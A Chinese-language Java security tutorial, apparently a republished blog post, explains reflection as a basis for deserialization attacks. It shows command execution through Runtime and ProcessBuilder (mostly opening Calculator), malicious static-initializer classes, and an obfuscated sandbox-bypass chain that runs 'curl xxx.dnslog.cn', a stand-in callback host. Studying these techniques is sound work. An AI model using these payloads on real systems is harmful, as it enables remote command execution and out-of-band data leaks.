Java安全可以从反序列化漏洞开始说起,反序列化漏洞⼜可以从反射开始说起。
可以获取到任何类的构造方法
Constructors
、成员方法Methods
、成员变量Fields
等信息
forName
newInstance
getMethod
invoke
public void execute(String className, String methodName) throws Exception {
Class clazz = Class.forName(className);
clazz.getMethod(methodName).invoke(clazz.newInstance());
}
通常一个JVM下,只会有一个ClassLoader, 而一个ClassLoader下,一种类只会有一个Class对象存在, 所以一个JVM中,一种类只会有一个Class对象存在。
Class<?> forName(String name)
Class<?> forName(String name, boolean initialize,ClassLoader loader)
Class.forName(className);
// 等于
Class.forName(className, true, currentLoader);
name
:类名,即类完整路径,如java.lang.Runtime
,initialize
:是否初始化ClassLoader
:类加载器,Java默认的ClassLoader就是根据类名来加载类package com.naraku.sec.reflection;
import java.io.IOException;
public class TrainPrint {
{
System.out.printf("Empty block initial %s\n", this.getClass());
}
static {
System.out.printf("Static initial %s\n", TrainPrint.class);
}
public TrainPrint() {
System.out.printf("Initial %s\n", this.getClass());
}
}
forName
new
// 类初始化
public static void main(String[] args) throws IOException, ClassNotFoundException {
Class.forName("com.naraku.sec.reflection.TrainPrint");
}
/* 输出结果
Static initial class com.naraku.sec.reflection.TrainPrint
*/
// 类实例化
public static void main(String[] args) throws IOException, ClassNotFoundException {
TrainPrint test= new TrainPrint();
}
/* 输出结果
Static initial class com.naraku.sec.reflection.TrainPrint
Empty block initial class com.naraku.sec.reflection.TrainPrint
Initial class com.naraku.sec.reflection.TrainPrint
*/
static{}
就是在类初始化时调用的,{}
则会在构造函数的super{}
后面,但在当前构造函数内容的前面。上面例子执行顺序为:static{}
static{} -> {} -> 构造函数
forName
中的initialize
其实是决定是否执⾏类初始化,而不是类实例化
简单利用forName()
进行类初始化时,会执行static{}
中的代码className
可控package com.naraku.sec.reflection;
public class TestRef {
public void ref(String name) throws Exception {
Class.forName(name);
}
public static void main(String[] args) throws Exception {
String className = "com.naraku.sec.reflection.TestCalc";
TestRef testRef = new TestRef();
testRef.ref(className);
}
}
static{}
中编写恶意代码。当这个恶意类被带入目标机器该函数时,触发forName
进行类初始化,从而执行其中的恶意代码ClassLoader
的利⽤package com.naraku.sec.reflection;
public class TestCalc {
static {
try {
Runtime rt = Runtime.getRuntime();
String[] commands = {"open", "/System/Applications/Calculator.app"};
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e){
e.printStackTrace();
}
}
}
forName
不是获取“类”的唯⼀途径,通常有三种⽅式获取⼀个“类”,也就是java.lang.Class
对象:
Class.forName(className)
,如果已经知道某个类的名字,这样可以获取到它的类obj.getClass()
,如果上下文存在某个类的实例obj
,可以直接获取到它的类Test.class
,如果已经加载了某个类,只是想获取它的java.lang.Class
对象,那么直接取它的class
属性即可。这个方法其实不属于反射
上面第1和第2种方式获取Class对象时会导致类属性被初始化,而且只会执行一次。package com.naraku.sec.reflection;
import java.lang.reflect.Constructor;
public class TestReflection {
public static void main(String[] args) {
String className = "java.lang.Runtime";
try {
Class class1 = Class.forName(className);
Class class2 = java.lang.Runtime.class;
Class class3 = ClassLoader.getSystemClassLoader().loadClass(className);
}
catch (Exception e){
e.printStackTrace();
}
}
}
在正常情况下,除了系统类,如果我们想拿到一个类,需要先
import
才能使用。而使用forName
就不需要,这样对于我们的攻击者来说就十分有利,我们可以加载任意类。
获得类以后,可以继续使用反射来获取类中的属性和方法,也可以实例化这个类再调用方法。
newInstance
不成功时,原因可能是:最常见的情况就是java.lang.Runtime
,这个类在构造命令执行Payload时经常用到,但不能直接这样来执行命令:
package com.naraku.sec.reflection;
public class TestNewInstance {
public static void main(String[] args) throws Exception{
Class clazz = Class.forName("java.lang.Runtime");
clazz.getMethod("exec", String.class).invoke(clazz.newInstance(), "id");
}
}
/* 报错
Exception ... can not access a member of class java.lang.Runtime with modifiers "private"
*/
java.lang.Runtime
这个类的构造方法是私有的,这里涉及到单例模式的设计思想Runtime
类也使用了单例模式,因此只能通过Runtime.getRuntime()
来获取Runtime
对象。所以需要修改为:package com.naraku.sec.reflection;
public class TestNewInstance {
public static void main(String[] args) throws Exception{
Class clazz = Class.forName("java.lang.Runtime");
clazz.getMethod("exec", String.class).invoke(
clazz.getMethod("getRuntime").invoke(clazz), "open /System/Applications/Calculator.app"
);
}
}
上面的例子中用到了
getMethod()
和invoke()
方法。正常执行方法是[1].method([2], [3], [4]...)
,在反射里就是method.invoke([1], [2], [3], [4]...)
getMethod()
,作用是通过反射获取Class对象的指定公有方法,调用getMethod()
时需要根据获取的方法传递对应的参数类型列表。Runtime.exec()
方法,该方法有6个重载,以第一个为例:exec(String command)
,那么就需要传递一个String
类的类对象getMethod("exec", String.class)
invoke()
属于Method
类,作用是对方法进行调用package com.naraku.sec.reflection;
import java.lang.reflect.Method;
public class TestNewInstance {
public static void main(String[] args) throws Exception{
Class clazz = Class.forName("java.lang.Runtime");
Method execMethod = clazz.getMethod("exec", String.class);
Method getRuntimeMethod = clazz.getMethod("getRuntime");
Object runtime = getRuntimeMethod.invoke(clazz);
execMethod.invoke(runtime,"open /System/Applications/Calculator.app");
}
}
如果一个类没有无参构造方法,也没有单例模式里的静态方法,怎样通过反射实例化该类?
newInstance
来进行实例化ProcessBuilder
类为例,该类有两个构造函数:public ProcessBuilder(List<String> command)
public ProcessBuilder(String... command)
List.class
类对象。先通过反射来获取其构造函数,再调用start()
方法执行命令:package com.naraku.sec.reflection;
import java.util.List;
import java.util.Arrays;
public class TestProcessBuilder {
public static void main(String[] args) throws Exception {
Class clazz = Class.forName("java.lang.ProcessBuilder");
((ProcessBuilder) clazz.getConstructor(List.class).newInstance(Arrays.asList("open", "/System/Applications/Calculator.app"))).start();
}
}
package com.naraku.sec.reflection;
import java.util.List;
import java.util.Arrays;
public class TestProcessBuilder {
public static void main(String[] args) throws Exception {
Class clazz = Class.forName("java.lang.ProcessBuilder");
clazz.getMethod("start").invoke(clazz.getConstructor(List.class).newInstance(Arrays.asList("open", "/System/Applications/Calculator.app")));
}
}
getMethod("start")
获取到start方法,然后invoke
执行,invoke
的第一个参数就是ProcessBuilder
类对象(String... command)
,即表示这是一个可变长参数。如果想要在反射中获取这种参数,将其看作数组即可:Class clazz = Class.forName("java.lang.ProcessBuilder");
clazz.getConstructor(String[].class);
newInstance
的时候,因为这个函数本身接收的是一个可变长参数,ProcessBuilder
所接收的也是一个可变长参数,二者叠加为一个二维数组,所以整个Payload如下:package com.naraku.sec.reflection;
public class TestProcessBuilder {
public static void main(String[] args) throws Exception {
Class clazz = Class.forName("java.lang.ProcessBuilder");
((ProcessBuilder) clazz.getConstructor(String[].class).newInstance(new String[][]{{"open", "/System/Applications/Calculator.app"}})).start();
}
}
package com.naraku.sec.reflection;
public class TestProcessBuilder {
public static void main(String[] args) throws Exception {
Class clazz = Class.forName("java.lang.ProcessBuilder");
clazz.getMethod("start").invoke(clazz.getConstructor(String[].class).newInstance(new String[][]{{"open", "/System/Applications/Calculator.app"}}));
}
}
如果一个方法或构造方法是私有方法,是否能够通过反射执行?
getDeclared
系列的方法:getDeclaredMethod()和getDeclaredConstructor()。它们和普通getMethod()/getConstructor()
的用法类似,主要区别在于:getMethod()
系列方法获取的是当前类中所有公共方法,包括从父类继承的方法getDeclaredMethod()
系列方法获取的是当前类中“声明”的方法,包括私有方法,但不包括从父类继承的方法java.lang.Runtime
类为例,前文说到这个类的构造方法是私有的。这里可以直接调用getDeclaredConstructor()
来获取这个私有的构造方法来实例化对象,从而执行命令setAccessible()
修改其作用域,否则仍然不能调用。package com.naraku.sec.reflection;
import java.lang.reflect.Constructor;
public class TestDeclared {
public static void main(String[] args) throws Exception {
Class clazz = Class.forName("java.lang.Runtime");
Constructor cs = clazz.getDeclaredConstructor();
cs.setAccessible(true);
clazz.getMethod("exec", String.class).invoke(cs.newInstance(), "open /System/Applications/Calculator.app");
}
}
在安全研究中,我们使⽤反射的⼀⼤⽬的,就是绕过某些沙盒。
Integer
类型的数字,如何获取到可以执⾏命令的Runtime
类呢,伪代码: 1.getClass().forName("java.lang.Runtime")
Code-Breaking 2018中某道题的第三方Writup:http://rui0.cn/archives/1015
Runtime.getRuntime().exec("curl xxx.dnslog.cn")
String.class.getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("exec",String.class).invoke(String.class.getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("getRu"+"ntime").invoke(String.class.getClass().forName("java.l"+"ang.Ru"+"ntime")), "curl xxx.dnslog.cn);
String.class.getClass() // 获取 Class 对象
.forName("java.lang.Runtime") // 获取 Runtime 对象
.getMethod("exec", String.class) // 获取 exec 方法
.invoke( // 反射调用 exec 方法
String.class.getClass() // 同上,获取并调用 getRuntime 方法
.forName("java.lang.Runtime")
.getMethod("getRuntime")
.invoke( // 同上,获取 Runtime 对象
String.class.getClass()
.forName("java.lang.Runtime")
),
"curl xxx.dnslog.cn" // exec 方法参数
);
package com.naraku.sec.reflection;
public class TestChain {
public static void main(String[] args) {
// Runtime.getRuntime().exec("curl xxx.dnslog.cn")
try {
String.class.getClass().forName("java.lang.Runtime").getMethod("exec", String.class).invoke(
String.class.getClass().forName("java.lang.Runtime").getMethod("getRuntime").invoke(
String.class.getClass().forName("java.lang.Runtime")
), "curl xxx.dnslog.cn"
);
}
catch (Exception e) {
e.printStackTrace();
}
}
}
版权属于:Naraku
本文链接:https://cloud.tencent.com/developer/article/1967277
本站所有原创文章均采用 知识共享署名-非商业-禁止演绎4.0国际许可证 。如需转载请务必注明出处并保留原文链接,谢谢~